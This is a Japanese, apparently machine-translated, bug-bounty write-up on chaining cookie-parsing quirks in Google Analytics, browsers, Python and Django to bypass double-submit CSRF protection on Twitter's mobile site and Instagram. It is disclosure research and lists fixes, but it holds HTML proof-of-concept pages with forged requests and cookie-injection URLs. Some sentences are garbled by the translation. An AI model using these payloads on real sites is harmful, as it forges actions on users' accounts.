この記事では、Cookieの値を処理する際の小さな欠陥をチェーンに結合して、人気のあるWebアプリケーションのユーザーを攻撃する方法についてお話したいと思います。
この話は1年以上前に、Bug BountyプログラムサイトでDOMベースのXSSを検索するためにDOMinatorプログラムをテストしたときに始まりました。 私が受け取った最初の警告の1つは、Google Analytics JavaScriptのCookieインジェクションの脆弱性です。
Google Analyticsでサイトにアクセスすると、スクリプトはRefererヘッダーのHTTP値を処理し、ホストとスクリプトへのパスをそこから抽出して、ユーザーがどこから来たかを追跡します。 その後、このデータはCookieパラメーター
__utmz
分類されます。
次のようになります。
__utmz=123.123.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
ユーザーがGoogleアナリティクスでサイトにアクセスするサイトのスクリプトへのパスを変更することにより、
__utmz
Cookieの終わりに影響を与え、
__utmz
前にパスが処理されないため、Cookie属性を変更することができます。 ただし、属性は後続の値で上書きされ、Googleアナリティクスに置き換えられます。
blackfan.ru/x/injection;injection=injection?r=http://site.com/
結果:
document.cookie=__utmz=blah...|utmcct=/x/injection;injection=injection; path=/; domain=.site.com
現時点では、脆弱性と呼ぶことは困難でしたが、それでもスクリプトの動作は非常に興味深いものであり、さらに非常に一般的です。
バグバウンティとクッキー
小さな余談。 脆弱性に対する報酬プログラムのCookieに関連する脆弱性は、2つの主なシナリオを取得できるという事実が注目に値します。
- 任意のCookieパラメータを上書きおよび作成する機能が見つかりました。
回答:これは単なるCookieです。何を提供しますか?
- Cookieパラメーターを介してXSSが見つかりました。
回答:任意のCookieパラメーターを作成することはできないため、これは脆弱性ではありません!
そして、両方のオプションが同じBug Bountyプログラム内にある場合にのみ、支払いが行われます。
クッキーに関連する問題から毎回脅威を証明する必要があるため、多くの場合、人々はそれらを探すことを思いとどまらせます。 これに費やした時間のために、あなたは疑いなく受け入れられるであろうさらに多くの脆弱性を見つけることができます。 基本的に、セッションの修正や、設定された属性の安全性、httpOnly ...などの最も基本的なことだけがチェックされます。
クッキー
Cookieヘッダー構造を見てください。
Set-Cookie: par=val; path=/; httpOnly; secure;
Cookie: par=val; par2="val2"; par3=val3;
構造は非常に複雑で、すべてのブラウザー、JavaScriptスクリプト、およびWebサーバーで機能します。 それぞれが独自の方法で処理し、同じ行で異なる結果が得られる場合があります。
Cookie処理を分析するときは、次の質問をする必要があります。
- 後にスペースが必要ですか?
- 代わりに使用できる文字。
- 同一のキーの場合に結果として得られる値
- キーの場合は重要ですか
- パラメーターが持つことができる属性の数
- 同一の属性の場合に結果として生じる値
- 特殊文字をエンコードする方法
クッキー処理機能
最初の最も有名な機能-Safariでは、単一のSet-Cookieヘッダーを介して複数のパラメーターを宣言できます。
Set-Cookie: param1=value1; path=/, param2=value2; httpOnly;
Googleアナリティクスの問題に戻って、JavaScriptを使用してCookieを設定するこの機能をテストします。 操作の最初のバージョンを取得します。
blackfan.ru/x/injection;,injection_cookie=injection;?r=http://site.com/
結果
document.cookie=__utmz=blah...|utmcct=/r/injection;,injection_cookie=injection; path=/; domain=.site.com
Safariは、2つのCookieパラメーター
__utmz
と
injection_cookie
を作成します。
つまり、Google Analyticsを使用するサイトのSafariユーザーに対して、任意のCookieパラメーターを作成できます。 理由を理解するためだけに残っています...
CSRF
CSRFに対する保護は、3つのタイプに分類できます。
- アクションごとに異なるトークン。 サーバーに保存されます。
- すべてのアクションに1つのセッショントークン。 ユーザーセッションでサーバーに保存されます。
- すべてのアクションに1つのセッショントークン。 cookieパラメーターに保存されます。
3番目のオプションは、ユーザーのCookie内のトークン値に攻撃者がアクセスできないという事実に基づいています。 テストに合格するには、Cookieで同じトークン値を送信し、パラメーターを送信します。 つまり、ここでは、Googleアナリティクスを介した値の簡単な書き換えが理想的です。
Cookie処理機能#2
攻撃を180度回すとどうなりますか? ブラウザーが実際にCSRFトークンを持つCookieパラメーターを持っている必要はありません。その値はわかっています。 Webサーバーがそう考えるのに十分です。
別の発見されたクッキー処理機能が役立ちます。
RFC2109
注:後方互換性のために、Cookieヘッダーの区切り記号
どこでもセミコロン(;)です。 サーバーはコンマ(、)も受け入れる必要があります
将来の互換性のためにcookie-values間のセパレーターとして。
多くのWebサーバーは、セミコロンだけでなくコンマでもCookie列挙をサポートしています。
Cookie: par=val; par2="val2"; par3=val3;
Cookie: par=val, par2="val2", par3=val3,
さらに、場合によっては、スペースは不要です。
Cookie: par=val;par2="val2";par3=val3;
Cookie: par=val,par2="val2",par3=val3,
同様に、ほとんどのブラウザーでは、スペースやコンマなどの文字は非常に普通です。 そしてインストールする場合:
Set-Cookie: par=val, csrftoken=val2;
document.cookie="par=val, csrftoken=val2;";
ブラウザの場合、これは1つの値になりますが、一部のサーバー実装では、2つのCookieパラメータになります。 ただし、これらの機能を活用してCSRF保護をバイパスする場合、古いトークンを書き換えずに別のトークンを追加すること、つまりCookieの処理順序が重要であることを覚えておく必要があります。
Cookie: csrftoken=realvalue; par=val, csrftoken=fakevalue;
合計で、2つの脆弱性の悪用チェーンがすでに取得されています。
Safari -> WebApp (GA & Double Submit Cookies)
-> WebApp (GA & Double Submit Cookies & , cookie)
運営
適切なベースを準備した後、実際の条件での検証が必要です。 ほとんどすぐに、理想的なオプションは
mobile.twitter.com
です。
CookieベースのCSRF保護を実装し、サーバーはスペースなしのCookieのカンマ区切りリストをサポートしますが、Google Analyticsはありません。 しかし、彼は
translate.twitter.com
ます! 値のCookie属性の処理をチェックする時です。より正確には、Cookie値にインジェクションが発生した場合、最後に追加されたパスとドメイン値をドロップする可能性をチェックします。
ある時点で多数のCookie属性が存在する場合、Google Chromeは単に解析を停止し、最後の有効な値に到達しないことが判明しました。
つまり、この場合:
Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; [...]; domain=blah.blah.blah.google.com;
Cookieは、
.google.com
ではなく、
.google.com
に設定されます。
したがって、もう1つの操作チェーンが追加されます。
Chrome -> WebApp 1 (Double Submit Cookies & , cookie) & WebApp 2 (GA)
PoCを形成します:
<html> <body> <form style="display:none;" id="csrf" action="https://mobile.twitter.com/api/tweet" method="POST"> <input type="hidden" name="tweet[text]" value="PoC" /> <input type="hidden" name="m5_csrf_tkn" value="x" /> <input type="submit" value="Submit request" /> </form> <script> function xxx() { setTimeout("document.getElementById('csrf').submit();",5000); } </script> <a target="_blank" href="http://blackfan.ru/x/,m5_csrf_tkn=x,;domain=.twitter.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://translate.twitter.com/" onclick="xxx()"> Tweet "PoC" </a> </body> </html>
説明:
- ユーザーは
twitter.com
で許可されています mobile.twitter.com
のモバイルバージョンは、ユーザーがログインしていない場合でもメインサイトのセッションをmobile.twitter.com
ます。- ユーザーが
translate.twitter.com
に__utmz
ておらず、 __utmz
Cookieがインストールされていないと想定します translate.twitter.com
Cookieへのインジェクションを含むパスでRefererを渡します- Google Analyticsは
__utmz=blah...|,m5_csrf_tkn=x,
作成します__utmz=blah...|,m5_csrf_tkn=x,
- 属性の数が多いため、Chromeは
.twitter.com
ドメインを上書きします - リクエストが処理されるのを待っています。「x」トークンを使用して「PoC」ツイートを作成する別のリクエストを送信します
- 送信されたCookieの順序に従って、
mobile.twitter.com
はトークン値「x」を取得し、投稿リクエストとCookieの値が同じであることを確認します - ユーザーはPoCツイートを持っています
Cookie処理機能#3
次の目標は
instagram.com
、またはDjangoのすべてのサイトでした。 DjangoのCSRF保護もCookieベースです。 検証を成功させるには、cookie
csrftoken
とpostパラメーター
csrfmiddlewaretoken
またはHTTPヘッダー
X-CSRFToken
同じ値を送信するだけで十分
X-CSRFToken
。 ただし、追加のチェックがあり、将来的に干渉する可能性があります。 サイトがHTTPSで動作する場合、DjangoはRefererヘッダーをチェックし、不一致の場合、正しいトークンが指定されていてもリクエストをブロックします。 Refererのない投稿リクエストもブロックされます。
DjangoでのCookie処理の調査中に、次の機能が発見されました。
- セミコロンをセパレータとして使用する必要はありません;パラメータ間の空白は十分です
Cookie: test=test test2=test2
- Cookie値に文字
[ \ ]
が含まれる場合、Cookieの最初の部分は破棄されます
Cookie: test=test]test2=test2
。
その結果、 test2
のみtest2
ます。
この問題はDjangoでさえ起こらず、Pythonでも起こっていたことが判明しました。 Cookieライブラリは、
RFC2109に従って値を処理します。 そして、値が二重引用符で囲まれていない場合、文字
[ \ ]
提供されないことが本当にわかりました。 ブラウザの場合、これらのシンボルの使用は非常に正常です。
instagramのPoCは、前のものとほとんど同じです。
<html> <body> <form action="http://instagram.com/web/friendships/[user_id]/follow/?ref=emptyfeed" id="csrf" method="POST"> <input type="hidden" name="csrfmiddlewaretoken" value="x" /> <input type="submit" value="Submit request" /> </form> <script> function xxx() { document.getElementById('csrf').submit(); } </script> <iframe src="http://blackfan.ru/x/]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/" onload="xxx()"/> </body> </html>
__utmz
Cookieをスローするには、
__utmz
を使用し、トークンを作成するには、
blog.instagram.com
構造を使用し
/r/]csrftoken=x,;domain=.instagram.com;
。
Cookie処理機能#4
Google、Twitter、Facebook、Django、Pythonと話をした後、私は再びそれらの修正を回避しようとすることにしました。
条件に次の変更が発生しました。
- Googleアナリティクスは、セミコロンの後、パーツを破棄し始め、スペースを20%に強制的に置き換えました。
- Pythonは不正な処理を修正しました
[ \ ]
ただし、Djangoの空白を介してCookieをリストする可能性は依然としてあり、Googleが使用する置き換えによって大幅に防止されました。
空白を確認すると、次のことがわかりました。
- Internet Explorerは\ x09 \ x0b \ x0cを_に置き換えます
- Chromeは、文字\ x09 \ x0b \ x0cが含まれている場合、Cookieを設定しません
- FireFoxはこれらの文字を通常と見なします
結果は、FireFoxの次の操作オプションです。
instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken%3dx
Cookie処理機能#5
また、いくつかのサーバー実装で別の興味深いオプションを見つけましたが、実際の状況ではまだアプリケーションを見つけていません。 Cookieで特殊文字を使用する場合、値は二重引用符で囲まれます。 この動作は次のように使用できます。
Set-Cookie: test="test
Set-Cookie: foo=bar
Set-Cookie: test2="
ブラウザの場合、二重引用符は何らかの特殊文字ではないため、次のタイトルが表示されます。
Cookie: test="test; foo=bar; test2="
ただし、一部のWebサーバーはこれらの値を単一のテストパラメーターとして処理できます。その結果、
foo=bar
パラメーターは作成されません。 驚異的な数の条件が同時に発生すると、この機能も使用できます。
結果
操作オプション
Safari -> WebApp (GA & Double Submit Cookies)
-> WebApp (GA & Double Submit Cookies & , cookie)
Chrome -> WebApp 1 (Double Submit Cookies & , cookie) & WebApp 2 (GA)
FireFox -> WebApp (GA & Double Submit Cookies & , cookie)
修正
- Googleアナリティクスでは、Cookie値に20%のスペースの強制置換が追加されました(疑わしい改善)
- Googleアナリティクスは、「;」の後にすべてをドロップすることにより、Cookie属性を変更する機能を修正しました。
- Google Chromeは、クライアントが最初に任意の属性を設定する機能を持たないようにする必要があるため、多数の属性による上書きを修正しません。
- Pythonは、文字
[ \ ]
( https://hg.python.org/cpython/rev/270f61ec1157 )の問題を修正しました
- Twitterは
mobile.twitter.com
のCSRF保護のタイプを変更しmobile.twitter.com
Googleと通信するとき、この脆弱性の本質について完全に誤解していました。 彼らは私が持っていないGoogleサイトの例を要求し、Google Analyticsが他のサイトの脅威になる可能性があるという事実にはまったく興味がありませんでした。 そして、数十通の手紙の後、私の報告書はKrzysztof(明らかに
@kkotowicz )に
届きました。